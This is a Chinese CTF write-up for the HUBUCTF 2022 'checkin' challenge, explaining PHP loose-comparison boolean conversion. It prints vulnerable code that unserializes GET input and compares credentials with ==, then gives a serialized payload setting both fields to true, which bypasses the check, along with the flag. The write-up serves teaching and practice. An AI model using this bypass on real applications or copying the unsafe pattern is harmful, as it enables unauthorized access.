[HUBUCTF 2022 新生赛]checkin

[HUBUCTF 2022 新生赛]checkin

May 27, 2025

PHP 各类型在弱类型比较中的布尔转换行为:

表达式类型说明转为 bool 值== true 结果备注说明
false布尔类型 falsefalsefalse本身就是 false
0整型 0falsefalse0 是 false
0.0浮点数 0falsefalse浮点数 0 也是 false
"0"字符串 "0"falsefalse唯一被视为 false 的字符串
""空字符串falsefalse空字符串是 false
"abc"非空字符串truetrue任何非空字符串为 true
[]空数组falsefalse空数组是 false
[1]非空数组truetrue非空数组为 true
nullNULLfalsefalseNULL 转为 false

题目代码:

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

?>

根据注释 //here I changed those two ,这道题在导入 flag.php 后更改了 $username$password 的值,但由于 if 比较时是弱类型比较,可以进行绕过。

$username$password 是非空字符串,转为 bool 后为 true,可以直接让 true 与其进行比较进行绕过。

构造 payload:a:2:{s:8:"username";b:1;s:8:"password";b:1;}

<?php

$payload = [
"username" => true,
"password" => true
];

echo serialize($payload);

获得 flag:NSSCTF{7010b15f-4f27-477f-802d-9418fcbd2002}